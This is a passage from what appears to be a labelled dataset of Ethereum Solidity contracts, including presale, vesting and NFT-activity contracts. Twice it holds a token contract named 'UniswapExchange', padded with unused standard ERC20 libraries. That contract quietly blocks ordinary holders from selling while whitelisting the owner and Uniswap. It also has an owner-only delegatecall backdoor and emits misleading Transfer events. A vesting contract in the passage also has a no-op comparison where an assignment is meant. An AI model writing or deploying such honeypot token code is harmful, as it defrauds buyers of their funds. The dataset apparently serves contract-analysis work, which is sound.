require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,359 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ActivityStorage is StorageBase {
struct Activity {
bool isPause;
uint16 buyLimit;
uint128 packPrice;
uint64 startDate;
uint64 endDate;
mapping(uint16 => address) soldPackToAddress;
mapping(address => uint16) addressBoughtCount;
}
mapping(uint16 => Activity) public activities;
function createActivity(
uint16 _activityId,
uint16 _buyLimit,
uint128 _packPrice,
uint64 _startDate,
uint64 _endDate
)
external
onlyOwner
{
require(activities[_activityId].buyLimit == 0);
activities[_activityId] = Activity({
isPause: false,
buyLimit: _buyLimit,
packPrice: _packPrice,
startDate: _startDate,
endDate: _endDate
});
}
function sellPackToAddress(
uint16 _activityId,
uint16 _packId,
address buyer
)
external
onlyOwner
{
Activity storage activity = activities[_activityId];
activity.soldPackToAddress[_packId] = buyer;
activity.addressBoughtCount[buyer]++;
}
function pauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = true;
}
function unpauseActivity(uint16 _activityId) external onlyOwner {
activities[_activityId].isPause = false;
}
function deleteActivity(uint16 _activityId) external onlyOwner {
delete activities[_activityId];
}
function getAddressBoughtCount(uint16 _activityId, address buyer) external view returns (uint16) {
return activities[_activityId].addressBoughtCount[buyer];
}
function getBuyerAddress(uint16 _activityId, uint16 packId) external view returns (address) {
return activities[_activityId].soldPackToAddress[packId];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract HasNoContracts is Pausable {
function reclaimContract(address _contractAddr) external onlyOwner whenPaused {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract LogicBase is HasNoContracts {
bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779);
ERC721 public nonFungibleContract;
StorageBase public storageContract;
function LogicBase(address _nftAddress, address _storageAddress) public {
paused = true;
setNFTAddress(_nftAddress);
require(_storageAddress != address(0));
storageContract = StorageBase(_storageAddress);
}
function destroy() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(owner);
}
function destroyAndSendToStorageOwner() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(storageOwner);
}
function unpause() public onlyOwner whenPaused {
require(nonFungibleContract != address(0));
require(storageContract != address(0));
require(storageContract.owner() == address(this));
super.unpause();
}
function setNFTAddress(address _nftAddress) public onlyOwner {
require(_nftAddress != address(0));
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_NFC));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = nftAddress.send(address(this).balance);
return res;
}
function withdrawBalanceFromStorageContract() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = storageContract.withdrawBalance();
return res;
}
}
contract ActivityCore is LogicBase {
bool public isActivityCore = true;
ActivityStorage activityStorage;
event ActivityCreated(uint16 activityId);
event ActivityBidSuccess(uint16 activityId, uint16 packId, address winner);
function ActivityCore(address _nftAddress, address _storageAddress)
LogicBase(_nftAddress, _storageAddress) public {
activityStorage = ActivityStorage(_storageAddress);
}
function createActivity(
uint16 _activityId,
uint16 _buyLimit,
uint128 _packPrice,
uint64 _startDate,
uint64 _endDate
)
external
onlyOwner
whenNotPaused
{
activityStorage.createActivity(_activityId, _buyLimit, _packPrice, _startDate, _endDate);
emit ActivityCreated(_activityId);
}
function deleteActivity(
uint16 _activityId
)
external
onlyOwner
whenPaused
{
activityStorage.deleteActivity(_activityId);
}
function getActivity(
uint16 _activityId
)
external
view
returns (
bool isPause,
uint16 buyLimit,
uint128 packPrice,
uint64 startDate,
uint64 endDate
)
{
return activityStorage.activities(_activityId);
}
function bid(uint16 _activityId, uint16 _packId)
external
payable
whenNotPaused
{
bool isPause;
uint16 buyLimit;
uint128 packPrice;
uint64 startDate;
uint64 endDate;
(isPause, buyLimit, packPrice, startDate, endDate) = activityStorage.activities(_activityId);
require(!isPause);
require(buyLimit > 0);
require(msg.value >= packPrice);
require(now >= startDate && now <= endDate);
require(activityStorage.getBuyerAddress(_activityId, _packId) == address(0));
require(activityStorage.getAddressBoughtCount(_activityId, msg.sender) < buyLimit);
activityStorage.sellPackToAddress(_activityId, _packId, msg.sender);
emit ActivityBidSuccess(_activityId, _packId, msg.sender);
}
} | 0 | 307 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,661 |
pragma solidity ^0.4.17;
contract BnsPresale {
string public constant VERSION = "0.2.0-bns-test-03-max_1_eth";
uint public constant PRESALE_START = 4465500;
uint public constant PRESALE_END = 4466550;
uint public constant WITHDRAWAL_END = 4469000;
address public constant OWNER = 0xcEAfe38b8d3802789A2A2cc45EA5d08bE8EA3b49;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 0;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
uint public total_refunded;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
bool public isStopped = false;
function BnsPresale () public validSetupOnly() { }
function ()
payable
noReentrancy
public
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
revert();
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
onlyOwner
noReentrancy
{
OWNER.transfer(this.balance);
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function stop() external
inState(State.PRESALE_RUNNING)
onlyOwner
{
isStopped = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
uint amount_to_refund = min(balances[msg.sender], this.balance - msg.value) ;
balances[msg.sender] -= amount_to_refund;
total_refunded += amount_to_refund;
msg.sender.transfer(amount_to_refund + msg.value);
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
msg.sender.transfer(change_to_return);
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE && !isStopped) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
function min(uint a, uint b) pure private returns (uint) {
return a < b ? a : b;
}
modifier inState(State state) {
assert(state == currentState());
_;
}
modifier inStateBefore(State state) {
assert(currentState() < state);
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
revert();
_;
}
modifier onlyOwner(){
assert(msg.sender == OWNER);
_;
}
modifier tokenHoldersOnly(){
assert(balances[msg.sender] > 0);
_;
}
modifier notTooSmallAmountOnly(){
assert(msg.value >= MIN_ACCEPTED_AMOUNT);
_;
}
bool private locked = false;
modifier noReentrancy() {
assert(!locked);
locked = true;
_;
locked = false;
}
} | 0 | 2,431 |
pragma solidity ^0.4.11;
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract MultiEventsHistoryAdapter {
function _self() constant internal returns (address) {
return msg.sender;
}
}
contract DelayedPaymentsEmitter is MultiEventsHistoryAdapter {
event Error(bytes32 message);
function emitError(bytes32 _message) {
Error(_message);
}
}
contract TeamVesting is Object {
uint constant TIME_LOCK_SCOPE = 51000;
uint constant TIME_LOCK_TRANSFER_ERROR = TIME_LOCK_SCOPE + 10;
uint constant TIME_LOCK_TRANSFERFROM_ERROR = TIME_LOCK_SCOPE + 11;
uint constant TIME_LOCK_BALANCE_ERROR = TIME_LOCK_SCOPE + 12;
uint constant TIME_LOCK_TIMESTAMP_ERROR = TIME_LOCK_SCOPE + 13;
uint constant TIME_LOCK_INVALID_INVOCATION = TIME_LOCK_SCOPE + 17;
struct accountData {
uint balance;
uint initDate;
uint lastSpending;
}
address public eventsHistory;
address asset;
accountData lock;
function TeamVesting(address _asset) {
asset = _asset;
}
function _error(uint _errorCode, bytes32 _message) internal returns(uint) {
DelayedPaymentsEmitter(eventsHistory).emitError(_message);
return _errorCode;
}
function setupEventsHistory(address _eventsHistory) returns(uint errorCode) {
errorCode = checkOnlyContractOwner();
if (errorCode != OK) {
return errorCode;
}
if (eventsHistory != 0x0 && eventsHistory != _eventsHistory) {
return TIME_LOCK_INVALID_INVOCATION;
}
eventsHistory = _eventsHistory;
return OK;
}
function payIn() onlyContractOwner returns (uint errorCode) {
uint amount = ERC20Interface(asset).balanceOf(this);
if(lock.balance != 0) {
if(lock.balance != amount) {
lock.balance == amount;
return OK;
}
return TIME_LOCK_INVALID_INVOCATION;
}
if (amount == 0) {
return TIME_LOCK_BALANCE_ERROR;
}
lock = accountData(amount,now,0);
return OK;
}
function payOut(address reciever) onlyContractOwner returns (uint errorCode) {
uint amount = getVesting();
if(amount == 0) {
return TIME_LOCK_INVALID_INVOCATION;
}
if(!ERC20Interface(asset).transfer(reciever,amount)) {
return TIME_LOCK_TRANSFER_ERROR;
}
return OK;
}
function getVesting() returns (uint) {
uint amount;
for(uint i = 24; i >= 6;) {
uint date = 30 days * i;
if(now > (lock.initDate + date)) {
if(lock.lastSpending == i) {
break;
}
if(lock.lastSpending == 0)
{
amount = (lock.balance * 125 * (i/3)) / 1000;
lock.lastSpending = i;
break;
}
else {
amount = ((lock.balance * 125 * (i/3)) / 1000) - ((lock.balance * 125 * (lock.lastSpending/3)) / 1000);
lock.lastSpending = i;
break;
}
}
i-=3;
}
return amount;
}
function getLockedFunds() constant returns (uint) {
return ERC20Interface(asset).balanceOf(this);
}
function getLockedFundsLastSpending() constant returns (uint) {
return lock.lastSpending;
}
} | 1 | 4,471 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
